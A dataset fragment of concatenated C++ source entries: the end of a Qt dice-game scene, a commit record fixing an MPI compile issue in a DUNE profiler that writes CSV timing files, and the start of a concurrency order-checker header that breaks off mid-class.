QGraphicsScene(x,y,width,height,parent), window(dynamic_cast<MainWindow*>(parent))\n{\n    Q_CHECK_PTR(window);\n\n    setBackgroundPixmap(\":\/images\/ingame\/background_test.jpg\");\n\n    board = new Board(this,window);\n    board->setPos(200,720-board->boundingRect().size().height());\n\n\n    player = new Player(board,1);\n    player->setImage(\":\/images\/ingame\/pieces\/blue.png\");\n    player->setPos(BlockCoords::corner_coord[0]);\n    player->setZValue(3);\n\n    LocalGame * game = LocalGame::getInst();\n    game->addPlayer(player);\n    game->init(board,Dice::getInst());\n\n    \/\/주사위 그래픽\n    dice_graphic = new DiceGraphicItem(this,window);\n    dice_graphic->setPos(800,400);\n    dice_graphic->setZValue(2);\n\n    \/\/주사위 패널 첫번째\n    first_dice_panel = new DiceValuePanel(this,window);\n    first_dice_panel->setPos(400,400);\n    first_dice_panel->setZValue(2);\n    \/\/주사위 패널 두번째\n    second_dice_panel = new DiceValuePanel(this,window);\n    second_dice_panel->setPos(500,400);\n    second_dice_panel->setZValue(2);\n\n    \/\/Signal \/ Slots connection\n    Dice * dice = Dice::getInst();\n    connect(dice,SIGNAL(firstDiceRolled(int)),first_dice_panel,SLOT(setValue(int)));\n    connect(dice,SIGNAL(secondDiceRolled(int)),second_dice_panel,SLOT(setValue(int)));\n}\n\nIngameScene::~IngameScene(){\n    delete first_dice_panel;\n    delete second_dice_panel;\n    delete dice_graphic;\n    delete background;\n}\n\nQGraphicsPixmapItem* IngameScene::setBackgroundPixmap(const char * filename){\n    background = this->addPixmap(QPixmap(filename));\n    return background;\n}\n\nQGraphicsPixmapItem* IngameScene::backgroundPixmap(){\n    return background;\n}\n\nDiceGraphicItem::DiceGraphicItem(QGraphicsScene *scene, MainWindow *window)\n    : QGameItem(scene,window){\n    \/\/버튼 초기상태 이미지\n    this->setImage(\":\/images\/ingame\/button.png\");\n}\n\n\nvoid DiceGraphicItem::mousePressEvent(QGraphicsSceneMouseEvent *event){\n    \/\/버튼이 눌렸을 때의 이미지로 바꿈\n    this->setImage(\":\/images\/ingame\/button2_pushed.png\");\n    \/\/QGameItem::mousePressEvent(event);\n\n}\n\nvoid DiceGraphicItem::mouseReleaseEvent(QGraphicsSceneMouseEvent *event){\n    \/\/마우스에서 땠을 경우 다시 초기상태 이미지로 바꿈\n    this->setImage(\":\/images\/ingame\/button.png\");\n    \/\/여기에 게임 스테이트 머신을 추가해서 롤할지 안할지 결정하게 해야함\n    Dice * dice = Dice::getInst();\n    dice->roll();\n\n}\n\nDiceValuePanel::DiceValuePanel(QGraphicsScene *scene, MainWindow *window)\n    : QGameItem(scene,window)\n{\n    setImage(\":\/images\/ingame\/dice\/dice3.png\"); \/\/default image\n    timeline = new QTimeLine(1500); \/\/spin for 1.5 second\n    timeline->setFrameRange(0,50); \/\/ 50 spins\n    timeline->setEasingCurve(QEasingCurve::InOutCirc);\n    connect(this->timeline,SIGNAL(frameChanged(int)),this,SLOT(spinValue(int)));\n    connect(timeline,SIGNAL(finished()),this,SLOT(endSpin()));\n}\n\nvoid DiceValuePanel::endSpin(){\n    \/\/finally fix dice image to diceValue\n    switch(diceValue){\n    case 1:\n        this->setImage(\":\/images\/ingame\/dice\/dice1.png\");\n        break;\n    case 2:\n        this->setImage(\":\/images\/ingame\/dice\/dice2.png\");\n        break;\n    case 3:\n        this->setImage(\":\/images\/ingame\/dice\/dice3.png\");\n        break;\n    case 4:\n        this->setImage(\":\/images\/ingame\/dice\/dice4.png\");\n        break;\n    case 5:\n        this->setImage(\":\/images\/ingame\/dice\/dice5.png\");\n        break;\n    case 6:\n        this->setImage(\":\/images\/ingame\/dice\/dice6.png\");\n        break;\n    }\n}\n\nvoid DiceValuePanel::setValue(int value){\n    diceValue = value;\n    timeline->start();\n}\n\nvoid DiceValuePanel::spinValue(int frame){\n    int value = rand() % 6 + 1;\n    switch(value){\n    case 1:\n        this->setImage(\":\/images\/ingame\/dice\/dice1.png\");\n        break;\n    case 2:\n        this->setImage(\":\/images\/ingame\/dice\/dice2.png\");\n        break;\n    case 3:\n        this->setImage(\":\/images\/ingame\/dice\/dice3.png\");\n        break;\n    case 4:\n        this->setImage(\":\/images\/ingame\/dice\/dice4.png\");\n        break;\n    case 5:\n        this->setImage(\":\/images\/ingame\/dice\/dice5.png\");\n        break;\n    case 6:\n        this->setImage(\":\/images\/ingame\/dice\/dice6.png\");\n        break;\n    }\n}\n\nvoid DiceValuePanel::mousePressEvent(QGraphicsSceneMouseEvent *event){\n\n}\n\nvoid DiceValuePanel::mouseReleaseEvent(QGraphicsSceneMouseEvent *event){\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <dune\/common\/mpihelper.hh>\n\n#include <map>\n#include <string>\n#include <boost\/foreach.hpp>\n#include <boost\/format.hpp>\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/fstream.hpp>\n\n#include <dune\/stuff\/common\/string.hh>\n\nnamespace Dune {\nnamespace Stuff {\nnamespace Common {\n\nvoid Profiler::startTiming(const std::string section_name, const int i)\n{\n    const std::string section = section_name + toString(i);\n    startTiming(section);\n}\n\nlong  Profiler::stopTiming(const std::string section_name, const int i)\n{\n    const std::string section = section_name + toString(i);\n    return stopTiming(section);\n}\n\nlong  Profiler::getTiming(const std::string section_name, const int i) const\n{\n    const std::string section = section_name + toString(i);\n    return getTiming(section);\n}\n\nvoid Profiler::resetTiming(const std::string section_name, const int i)\n{\n    const std::string section = section_name + toString(i);\n    return resetTiming(section);\n}\n\nvoid Profiler::resetTiming(const std::string section_name)\n{\n    try {\n        stopTiming(section_name);\n    }\n    catch (Dune::RangeError) {\n        \/\/ok, timer simply wasn't running\n    }\n    Datamap& current_data = datamaps_[current_run_number_];\n    current_data[section_name] = 0;\n}\n\nvoid Profiler::startTiming(const std::string section_name) {\n  if ( current_run_number_ >= datamaps_.size() )\n  {\n    datamaps_.push_back( Datamap() );\n  }\n\n  const KnownTimersMap::iterator section = known_timers_map_.find(section_name);\n  if ( section != known_timers_map_.end() )\n  {\n    if (section->second.first)     \/\/ timer currently running\n      return;\n\n    section->second.first = true;  \/\/ set active, start with new\n    section->second.second = TimingData(section_name);\n  } else {\n    \/\/ init new section\n    known_timers_map_[section_name] = std::make_pair( true, TimingData(section_name) );\n  }\n} \/\/ StartTiming\n\nlong Profiler::stopTiming(const std::string section_name) {\n  assert( current_run_number_ < datamaps_.size() );\n  if ( known_timers_map_.find(section_name) == known_timers_map_.end() )\n    DUNE_THROW(Dune::RangeError, \"trying to stop timer \" << section_name << \" that wasn't started\\n\");\n\n  known_timers_map_[section_name].first = false;\/\/marks as not running\n  TimingData& timing = known_timers_map_[section_name].second;\n  timing.stop();\n  long delta = timing.delta();\n  Datamap& current_data = datamaps_[current_run_number_];\n  if ( current_data.find(section_name) == current_data.end() )\n    current_data[section_name] = delta;\n  else\n    current_data[section_name] += delta;\n  return delta;\n} \/\/ StopTiming\n\nlong Profiler::getTiming(const std::string section_name) const {\n  assert( current_run_number_ < datamaps_.size() );\n  return getTimingIdx(section_name, current_run_number_);\n}\n\nlong Profiler::getTimingIdx(const std::string section_name, const int run_number) const {\n  assert( run_number < int( datamaps_.size() ) );\n  const Datamap& data = datamaps_[run_number];\n  Datamap::const_iterator section = data.find(section_name);\n  if ( section == data.end() )\n  {\n    \/\/timer might still be running\n    const auto& timer_it = known_timers_map_.find(section_name);\n    if (timer_it != known_timers_map_.end())\n        return timer_it->second.second.delta();\n    ASSERT_EXCEPTION(false, \"no timer found: \" + section_name);\n    return -1;\n  }\n  return section->second;\n} \/\/ GetTiming\n\n\nvoid Profiler::reset(const int numRuns) {\n  if(!(numRuns > 0))\n      DUNE_THROW(Dune::RangeError, \"preparing the profiler for 0 runs is moronic\");\n  datamaps_.clear();\n  datamaps_ = DatamapVector( numRuns, Datamap() );\n  current_run_number_ = 0;\n} \/\/ Reset\n\nvoid Profiler::addCount(const int num) {\n  counters_[num] += 1;\n}\n\nvoid Profiler::nextRun() {\n    \/\/set all known timers to \"stopped\"\n    for (auto& timer_it : known_timers_map_)\n        timer_it.second.first = false;\n  current_run_number_++;\n}\n\nvoid Profiler::outputAveraged(const int refineLevel,\n                              const long numDofs,\n                              const double scale_factor) const {\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  const int numProce = comm.size();\n\n  boost::format csv_name(\"p%d_refinelvl_%d.csv\");\n  csv_name % numProce % refineLevel;\n  boost::filesystem::path filename(output_dir_);\n  filename \/= csv_name.str();\n\n  if (comm.rank() == 0)\n    std::cout << \"Profiling info in: \" << filename << std::endl;\n\n  #ifndef NDEBUG\n  for (const auto& count : counters_)\n  {\n    std::cout << \"proc \" << comm.rank() << \" bId \" << count.first << \" count \" << count.second << std::endl;\n  }\n  #endif \/\/ ifndef NDEBUG\n\n  boost::filesystem::ofstream csv(filename);\n\n  std::map< std::string, long > averages_map;\n  for (const auto& datamap : datamaps_)\n  {\n    for (const auto& timing : datamap)\n    {\n      \/\/! this used to be GetTiming( it->second ), which is only valid thru an implicit and wrong conversion..\n      averages_map[timing.first] += getTiming(timing.first);\n    }\n  }\n\n\/\/ outputs column names\n  csv << \"refine\" << csv_sep  << \"processes\" << csv_sep << \"numDofs\" << csv_sep << \"L1 error\" << csv_sep;\n  for (const auto& avg_item : averages_map)\n  {\n    csv << avg_item.first << csv_sep;\n  }\n  csv << \"Speedup (total)\" << csv_sep << \"Speedup (ohne Solver)\" << std::endl;\n\n\/\/ outputs column values\n  csv << refineLevel << csv_sep << comm.size() << csv_sep << numDofs << csv_sep << 0 << csv_sep;\n  for (const auto& avg_item : averages_map)\n  {\n    long clock_count = avg_item.second;\n    clock_count = long( comm.sum(clock_count) \/ double(scale_factor * numProce) );\n    csv << clock_count \/ double(datamaps_.size()) << csv_sep;\n  }\n  csv << \"=I$2\/I2\" << csv_sep << \"=SUM(E$2:G$2)\/SUM(E2:G2)\" << std::endl;\n  csv.close();\n} \/\/ OutputAveraged\n\nvoid Profiler::output(const Profiler::InfoContainer& run_infos, const double scale_factor) const{\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  const int numProce = comm.size();\n\n  boost::filesystem::path filename(output_dir_);\n  filename \/= (boost::format(\"prof_p%d.csv\") % numProce).str();\n  outputCommon(run_infos, filename, scale_factor);\n} \/\/ Output\n\nvoid Profiler::outputMap(const Profiler::InfoContainerMap& run_infos_map, const double scale_factor) const {\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  for(const auto& el : run_infos_map)\n  {\n    boost::filesystem::path filename(output_dir_);\n    filename \/= (boost::format(\n                     \"prof_p%d_ref%s.csv\") % comm.size() % el.first).str();\n    outputCommon(el.second, filename, scale_factor);\n  }\n} \/\/ OutputMap\n\nvoid Profiler::outputCommon(const Profiler::InfoContainer& run_infos,\n                            const boost::filesystem::path& filename,\n                            const double scale_factor) const {\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  const int numProce = comm.size();\n\n  if (comm.rank() == 0)\n    std::cout << \"Profiling info in: \" << filename << std::endl;\n\n  #ifndef NDEBUG\n  for (const auto& count : counters_)\n  {\n    std::cout << \"proc \" << comm.rank() << \" bId \" << count.first << \" count \" << count.second << std::endl;\n  }\n  #endif \/\/ ifndef NDEBUG\n\n  boost::filesystem::ofstream csv(filename);\n\/\/ outputs column names\n  if (run_infos.size())\n  {\n      csv << \"refine\" << csv_sep  << \"processes\" << csv_sep  << \"numDofs\" << csv_sep << \"L2_error\" << csv_sep ;\n      for (Datamap::const_iterator it = datamaps_[0].begin(); it != datamaps_[0].end(); ++it)\n      {\n        csv << it->first << csv_sep;\n      }\n  }\n  csv << \"Relative_total_time\" << csv_sep << \"compiler\" << std::endl;\n\n\/\/ outputs column values\n  std::size_t idx = 0;\n  for (const Datamap& data_map : datamaps_)\n  {\n    if(idx < run_infos.size()) {\n        const Dune::Stuff::Common::RunInfo& info = run_infos[idx];\n        csv << boost::format(\"%d%s%d%s%d%s%e,\") % info.refine_level % csv_sep\n                                             % comm.size() % csv_sep\n                                             % info.codim0 % csv_sep\n                                             % ( info.L2Errors.size() ? info.L2Errors[0] : double(-1) );\n    }\n\n    for (Datamap::const_iterator it = data_map.begin(); it != data_map.end(); ++it)\n    {\n      long clock_count = getTimingIdx(it->first, idx);\n      clock_count = long( comm.sum(clock_count) \/ double(scale_factor * numProce) );\n      csv << clock_count << csv_sep;\n    }\n    csv << boost::format(\"=1\/I$2*I%d%s%s\\n\") % (idx + 2) % csv_sep % BOOST_COMPILER;\n\n    idx++;\n  }\n  csv.close();\n} \/\/ OutputCommon\n\nvoid Profiler::setOutputdir(const std::string dir)\n{\n  output_dir_ = dir;\n  Dune::Stuff::Common::testCreateDirectory( output_dir_ );\n}\n\nvoid Profiler::outputTimings(const std::string csv) const\n{\n    const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n    boost::filesystem::path dir(output_dir_);\n    boost::filesystem::path filename = dir \/ (boost::format(\"%s_p%08d.csv\") % csv % comm.rank()).str();\n    boost::filesystem::ofstream out(filename);\n    outputTimings(out);\n    if (comm.rank() == 0) {\n        boost::filesystem::path a_filename = dir \/ (boost::format(\"%s.csv\") % csv).str();\n        boost::filesystem::ofstream a_out(a_filename);\n        outputTimingsAll(a_out);\n    }\n}\n\nvoid Profiler::outputTimingsAll(std::ostream& out) const\n{\n  if (datamaps_.size() < 1)\n    return;\n  \/\/csv header:\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  out << \"run\";\n  for (const auto& section : datamaps_[0]) {\n    out << csv_sep << section.first << \"_avg\" << csv_sep << section.first << \"_sum\";\n  }\n  int i = 0;\n  for (const auto& datamap : datamaps_) {\n    out << std::endl << i;\n    for (const auto& section : datamap) {\n      auto sum = comm.sum(section.second);\n      out << csv_sep << sum \/ float(comm.size()) << csv_sep << sum;\n    }\n    out << std::endl;\n  }\n}\n\nvoid Profiler::outputTimings(std::ostream& out) const\n{\n  if (datamaps_.size() < 1)\n    return;\n  \/\/csv header:\n  out << \"run\";\n  for (const auto& section : datamaps_[0]) {\n    out << csv_sep << section.first;\n  }\n  int i = 0;\n  for (const auto& datamap : datamaps_) {\n    out << std::endl << i;\n    for (const auto& section : datamap) {\n      out << csv_sep << section.second;\n    }\n    out << std::endl;\n  }\n}\n\nProfiler::Profiler()\n  : csv_sep(\",\")\n{\n  reset(1);\n  setOutputdir(\".\/profiling\");\n}\n\nProfiler::~Profiler()\n{}\n\n\n} \/\/ namespace Common\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n<commit_msg>[profiler] fix mpi compile<commit_after>#include <dune\/common\/mpihelper.hh>\n\n#include <map>\n#include <string>\n#include <boost\/foreach.hpp>\n#include <boost\/format.hpp>\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/fstream.hpp>\n\n#include <dune\/stuff\/common\/string.hh>\n\nnamespace Dune {\nnamespace Stuff {\nnamespace Common {\n\nvoid Profiler::startTiming(const std::string section_name, const int i)\n{\n    const std::string section = section_name + toString(i);\n    startTiming(section);\n}\n\nlong  Profiler::stopTiming(const std::string section_name, const int i)\n{\n    const std::string section = section_name + toString(i);\n    return stopTiming(section);\n}\n\nlong  Profiler::getTiming(const std::string section_name, const int i) const\n{\n    const std::string section = section_name + toString(i);\n    return getTiming(section);\n}\n\nvoid Profiler::resetTiming(const std::string section_name, const int i)\n{\n    const std::string section = section_name + toString(i);\n    return resetTiming(section);\n}\n\nvoid Profiler::resetTiming(const std::string section_name)\n{\n    try {\n        stopTiming(section_name);\n    }\n    catch (Dune::RangeError) {\n        \/\/ok, timer simply wasn't running\n    }\n    Datamap& current_data = datamaps_[current_run_number_];\n    current_data[section_name] = 0;\n}\n\nvoid Profiler::startTiming(const std::string section_name) {\n  if ( current_run_number_ >= datamaps_.size() )\n  {\n    datamaps_.push_back( Datamap() );\n  }\n\n  const KnownTimersMap::iterator section = known_timers_map_.find(section_name);\n  if ( section != known_timers_map_.end() )\n  {\n    if (section->second.first)     \/\/ timer currently running\n      return;\n\n    section->second.first = true;  \/\/ set active, start with new\n    section->second.second = TimingData(section_name);\n  } else {\n    \/\/ init new section\n    known_timers_map_[section_name] = std::make_pair( true, TimingData(section_name) );\n  }\n} \/\/ StartTiming\n\nlong Profiler::stopTiming(const std::string section_name) {\n  assert( current_run_number_ < datamaps_.size() );\n  if ( known_timers_map_.find(section_name) == known_timers_map_.end() )\n    DUNE_THROW(Dune::RangeError, \"trying to stop timer \" << section_name << \" that wasn't started\\n\");\n\n  known_timers_map_[section_name].first = false;\/\/marks as not running\n  TimingData& timing = known_timers_map_[section_name].second;\n  timing.stop();\n  long delta = timing.delta();\n  Datamap& current_data = datamaps_[current_run_number_];\n  if ( current_data.find(section_name) == current_data.end() )\n    current_data[section_name] = delta;\n  else\n    current_data[section_name] += delta;\n  return delta;\n} \/\/ StopTiming\n\nlong Profiler::getTiming(const std::string section_name) const {\n  assert( current_run_number_ < datamaps_.size() );\n  return getTimingIdx(section_name, current_run_number_);\n}\n\nlong Profiler::getTimingIdx(const std::string section_name, const int run_number) const {\n  assert( run_number < int( datamaps_.size() ) );\n  const Datamap& data = datamaps_[run_number];\n  Datamap::const_iterator section = data.find(section_name);\n  if ( section == data.end() )\n  {\n    \/\/timer might still be running\n    const auto& timer_it = known_timers_map_.find(section_name);\n    if (timer_it != known_timers_map_.end())\n        return timer_it->second.second.delta();\n    ASSERT_EXCEPTION(false, \"no timer found: \" + section_name);\n    return -1;\n  }\n  return section->second;\n} \/\/ GetTiming\n\n\nvoid Profiler::reset(const int numRuns) {\n  if(!(numRuns > 0))\n      DUNE_THROW(Dune::RangeError, \"preparing the profiler for 0 runs is moronic\");\n  datamaps_.clear();\n  datamaps_ = DatamapVector( numRuns, Datamap() );\n  current_run_number_ = 0;\n} \/\/ Reset\n\nvoid Profiler::addCount(const int num) {\n  counters_[num] += 1;\n}\n\nvoid Profiler::nextRun() {\n    \/\/set all known timers to \"stopped\"\n    for (auto& timer_it : known_timers_map_)\n        timer_it.second.first = false;\n  current_run_number_++;\n}\n\nvoid Profiler::outputAveraged(const int refineLevel,\n                              const long numDofs,\n                              const double scale_factor) const {\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  const int numProce = comm.size();\n\n  boost::format csv_name(\"p%d_refinelvl_%d.csv\");\n  csv_name % numProce % refineLevel;\n  boost::filesystem::path filename(output_dir_);\n  filename \/= csv_name.str();\n\n  if (comm.rank() == 0)\n    std::cout << \"Profiling info in: \" << filename << std::endl;\n\n  #ifndef NDEBUG\n  for (const auto& count : counters_)\n  {\n    std::cout << \"proc \" << comm.rank() << \" bId \" << count.first << \" count \" << count.second << std::endl;\n  }\n  #endif \/\/ ifndef NDEBUG\n\n  boost::filesystem::ofstream csv(filename);\n\n  std::map< std::string, long > averages_map;\n  for (const auto& datamap : datamaps_)\n  {\n    for (const auto& timing : datamap)\n    {\n      \/\/! this used to be GetTiming( it->second ), which is only valid thru an implicit and wrong conversion..\n      averages_map[timing.first] += getTiming(timing.first);\n    }\n  }\n\n\/\/ outputs column names\n  csv << \"refine\" << csv_sep  << \"processes\" << csv_sep << \"numDofs\" << csv_sep << \"L1 error\" << csv_sep;\n  for (const auto& avg_item : averages_map)\n  {\n    csv << avg_item.first << csv_sep;\n  }\n  csv << \"Speedup (total)\" << csv_sep << \"Speedup (ohne Solver)\" << std::endl;\n\n\/\/ outputs column values\n  csv << refineLevel << csv_sep << comm.size() << csv_sep << numDofs << csv_sep << 0 << csv_sep;\n  for (const auto& avg_item : averages_map)\n  {\n    long clock_count = avg_item.second;\n    clock_count = long( comm.sum(clock_count) \/ double(scale_factor * numProce) );\n    csv << clock_count \/ double(datamaps_.size()) << csv_sep;\n  }\n  csv << \"=I$2\/I2\" << csv_sep << \"=SUM(E$2:G$2)\/SUM(E2:G2)\" << std::endl;\n  csv.close();\n} \/\/ OutputAveraged\n\nvoid Profiler::output(const Profiler::InfoContainer& run_infos, const double scale_factor) const{\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  const int numProce = comm.size();\n\n  boost::filesystem::path filename(output_dir_);\n  filename \/= (boost::format(\"prof_p%d.csv\") % numProce).str();\n  outputCommon(run_infos, filename, scale_factor);\n} \/\/ Output\n\nvoid Profiler::outputMap(const Profiler::InfoContainerMap& run_infos_map, const double scale_factor) const {\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  for(const auto& el : run_infos_map)\n  {\n    boost::filesystem::path filename(output_dir_);\n    filename \/= (boost::format(\n                     \"prof_p%d_ref%s.csv\") % comm.size() % el.first).str();\n    outputCommon(el.second, filename, scale_factor);\n  }\n} \/\/ OutputMap\n\nvoid Profiler::outputCommon(const Profiler::InfoContainer& run_infos,\n                            const boost::filesystem::path& filename,\n                            const double scale_factor) const {\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  const int numProce = comm.size();\n\n  if (comm.rank() == 0)\n    std::cout << \"Profiling info in: \" << filename << std::endl;\n\n  #ifndef NDEBUG\n  for (const auto& count : counters_)\n  {\n    std::cout << \"proc \" << comm.rank() << \" bId \" << count.first << \" count \" << count.second << std::endl;\n  }\n  #endif \/\/ ifndef NDEBUG\n\n  boost::filesystem::ofstream csv(filename);\n\/\/ outputs column names\n  if (run_infos.size())\n  {\n      csv << \"refine\" << csv_sep  << \"processes\" << csv_sep  << \"numDofs\" << csv_sep << \"L2_error\" << csv_sep ;\n      for (Datamap::const_iterator it = datamaps_[0].begin(); it != datamaps_[0].end(); ++it)\n      {\n        csv << it->first << csv_sep;\n      }\n  }\n  csv << \"Relative_total_time\" << csv_sep << \"compiler\" << std::endl;\n\n\/\/ outputs column values\n  std::size_t idx = 0;\n  for (const Datamap& data_map : datamaps_)\n  {\n    if(idx < run_infos.size()) {\n        const Dune::Stuff::Common::RunInfo& info = run_infos[idx];\n        csv << boost::format(\"%d%s%d%s%d%s%e,\") % info.refine_level % csv_sep\n                                             % comm.size() % csv_sep\n                                             % info.codim0 % csv_sep\n                                             % ( info.L2Errors.size() ? info.L2Errors[0] : double(-1) );\n    }\n\n    for (Datamap::const_iterator it = data_map.begin(); it != data_map.end(); ++it)\n    {\n      long clock_count = getTimingIdx(it->first, idx);\n      clock_count = long( comm.sum(clock_count) \/ double(scale_factor * numProce) );\n      csv << clock_count << csv_sep;\n    }\n    csv << boost::format(\"=1\/I$2*I%d%s%s\\n\") % (idx + 2) % csv_sep % BOOST_COMPILER;\n\n    idx++;\n  }\n  csv.close();\n} \/\/ OutputCommon\n\nvoid Profiler::setOutputdir(const std::string dir)\n{\n  output_dir_ = dir;\n  Dune::Stuff::Common::testCreateDirectory( output_dir_ );\n}\n\nvoid Profiler::outputTimings(const std::string csv) const\n{\n    const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n    boost::filesystem::path dir(output_dir_);\n    boost::filesystem::path filename = dir \/ (boost::format(\"%s_p%08d.csv\") % csv % comm.rank()).str();\n    boost::filesystem::ofstream out(filename);\n    outputTimings(out);\n    if (comm.rank() == 0) {\n        boost::filesystem::path a_filename = dir \/ (boost::format(\"%s.csv\") % csv).str();\n        boost::filesystem::ofstream a_out(a_filename);\n        outputTimingsAll(a_out);\n    }\n}\n\nvoid Profiler::outputTimingsAll(std::ostream& out) const\n{\n  if (datamaps_.size() < 1)\n    return;\n  \/\/csv header:\n  const auto& comm = Dune::MPIHelper::getCollectiveCommunication();\n  out << \"run\";\n  for (const auto& section : datamaps_[0]) {\n    out << csv_sep << section.first << \"_avg\" << csv_sep << section.first << \"_sum\";\n  }\n  int i = 0;\n  for (const auto& datamap : datamaps_) {\n    out << std::endl << i;\n    for (const auto& section : datamap) {\n      auto val = section.second;\n      auto sum = comm.sum(val);\n      out << csv_sep << sum \/ float(comm.size()) << csv_sep << sum;\n    }\n    out << std::endl;\n  }\n}\n\nvoid Profiler::outputTimings(std::ostream& out) const\n{\n  if (datamaps_.size() < 1)\n    return;\n  \/\/csv header:\n  out << \"run\";\n  for (const auto& section : datamaps_[0]) {\n    out << csv_sep << section.first;\n  }\n  int i = 0;\n  for (const auto& datamap : datamaps_) {\n    out << std::endl << i;\n    for (const auto& section : datamap) {\n      out << csv_sep << section.second;\n    }\n    out << std::endl;\n  }\n}\n\nProfiler::Profiler()\n  : csv_sep(\",\")\n{\n  reset(1);\n  setOutputdir(\".\/profiling\");\n}\n\nProfiler::~Profiler()\n{}\n\n\n} \/\/ namespace Common\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __CONCURRENCY_FIFO_CHECKER_HPP__\n#define __CONCURRENCY_FIFO_CHECKER_HPP__\n\n#include <vector>\n\n#include <boost\/function.hpp>\n\n#include \"arch\/arch.hpp\"\n#include \"utils2.hpp\"\n\n\/\/ The memcached order_source_t and the backfill_receiver_t will want\n\/\/ to be in distinct buckets.\n\n\/\/ We'll need our order sources' buckets (operating for the same code\n\/\/ path) at any given point in time to be distinct values. The\n\/\/ backfill receiver (be it on the master side or slave side) gets\n\/\/ bucket 0.  Then the memcache connections get buckets 1,2,3,...\n\/\/\n\/\/ Btree slice operations then get an order source with bucket 0,\n\/\/ since they operate independently and their tokens reach a different\n\/\/ set of order sinks.\nconst int BACKFILL_RECEIVER_ORDER_SOURCE_BUCKET = 0;\nconst int MEMCACHE_START_BUCKET = 1;\n\n\/* Order tokens of the same bucket need to arrive at order sinks in a\n   certain order.  Pretending that read_mode is always false, they\n   need to arrive by ascending order of their value -- the same order\n   that they were created in.  This is because write operations cannot\n   be reordered.  However, read operations may be shuffled around, and\n   so may order_tokens with read_mode set to true.\n *\/\nclass order_token_t {\npublic:\n    static const order_token_t ignore;\n\n#ifndef NDEBUG\n    \/\/ By default we construct a totally invalid order token, not\n    \/\/ equal to ignore, that must be initialized.\n    order_token_t();\n\n    order_token_t with_read_mode() const;\n\n    int bucket() const;\n    bool read_mode() const;\n    int64_t value() const;\n    const std::string& tag() const;\n#else\n    order_token_t() { }\n    order_token_t with_read_mode() const { return order_token_t(); }\n\n    int bucket() const { return 0; }\n    bool read_mode() const { return true; }\n    int64_t value() const { return 0; }\n    std::string tag() const { return \"\"; }\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n\n#ifndef NDEBUG\n    order_token_t(int bucket, int64_t x, bool read_mode, const std::string& tag);\n    int bucket_;\n    bool read_mode_;\n    int64_t value_;\n    \/\/ This tag would be inefficient on VC++ or some other non-GNU\n    \/\/ std::string implementation, since we copy by value.\n    std::string tag_;\n#endif  \/\/ ifndef NDEBUG\n\n    friend class order_source_t;\n    friend class order_sink_t;\n    friend class backfill_receiver_order_source_t;\n    friend class plain_sink_t;\n    friend class contiguous_order_sink_t;\n};\n\n\/* Buckets are like file descriptors.  We don't want two order sources\n   to have the same bucket, and we can reuse buckets when an order\n   source is destroyed.  A pigeoncoop keeps track of all the available\n   pigeonholes and what the initial value should be for the pigeon, I\n   mean order source, that next gets assigned a given bucket. *\/\nclass order_source_pigeoncoop_t {\npublic:\n#ifndef NDEBUG\n    order_source_pigeoncoop_t(int starting_bucket = 0);\n#else\n    order_source_pigeoncoop_t(UNUSED int starting_bucket = 0) { }\n#endif\n\n    friend class order_source_t;\nprivate:\n\n    static void nop() { }\n\n#ifndef NDEBUG\n    void unregister_bucket(int bucket, int64_t counter);\n\n    std::pair<int, int64_t> register_for_bucket();\n\n    \/\/ The bucket we should use next, if free_buckets_ is empty.\n    int least_unregistered_bucket_;\n\n    \/\/ The buckets less than least_unregistered_bucket_ that are free.\n    std::vector<std::pair<int, int64_t> > free_buckets_;\n#endif\n\n    DISABLE_COPYING(order_source_pigeoncoop_t);\n};\n\n\/* Order sources create order tokens with increasing values for a\n   specific bucket.  When they are destroyed they call a void()\n   function which might inform somebody that the bucket is now\n   available for reuse. *\/\nclass order_source_t {\npublic:\n#ifndef NDEBUG\n    order_source_t(int bucket = 0, boost::function<void()> unregisterator = order_source_pigeoncoop_t::nop);\n    order_source_t(order_source_pigeoncoop_t *coop);\n    ~order_source_t();\n\n    order_token_t check_in(const std::string& tag);\n#else\n    order_source_t(UNUSED int bucket = 0, UNUSED boost::function<void()> unregisterator = order_source_pigeoncoop_t::nop) { }\n    order_source_t(UNUSED order_source_pigeoncoop_t *coop) { }\n    ~order_source_t() { }\n\n    order_token_t check_in() { return order_token_t(); }\n#endif  \/\/ ndef NDEBUG\n\nprivate:\n#ifndef NDEBUG\n    int bucket_;\n    int64_t counter_;\n    boost::function<void ()> unregister_;\n#endif  \/\/ ifndef NDEBUG\n\n    DISABLE_COPYING(order_source_t);\n};\n\n\/* A backfill receiver order source is a bit special, because when we\n   backfill, we want backfill operations to get in before \"realtime\"\n   operations.  So we play tricks with the counter depending on\n   whether we're currently backfilling and whether we're checking in a\n   backfill or a realtime operation.  (This assumes there will be no\n   more than 4 billion backfill operations, which is ok for\n   debugging purposes.)\n *\/\nclass backfill_receiver_order_source_t {\npublic:\n#ifndef NDEBUG\n    backfill_receiver_order_source_t(int bucket = BACKFILL_RECEIVER_ORDER_SOURCE_BUCKET);\n\n    void backfill_begun();\n    void backfill_done();\n\n    order_token_t check_in_backfill_operation(const std::string& tag);\n    order_token_t check_in_realtime_operation(const std::string& tag);\n#else\n    backfill_receiver_order_source_t(UNUSED int bucket = BACKFILL_RECEIVER_ORDER_SOURCE_BUCKET) { }\n\n    void backfill_begun() { }\n    void backfill_done() { }\n\n    order_token_t check_in_backfill_operation() { return order_token_t(); }\n    order_token_t check_in_realtime_operation() { return order_token_t(); }\n\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n\n#ifndef NDEBUG\n    int bucket_;\n    int64_t counter_;\n    bool backfill_active_;\n#endif  \/\/ ifndef NDEBUG\n\n    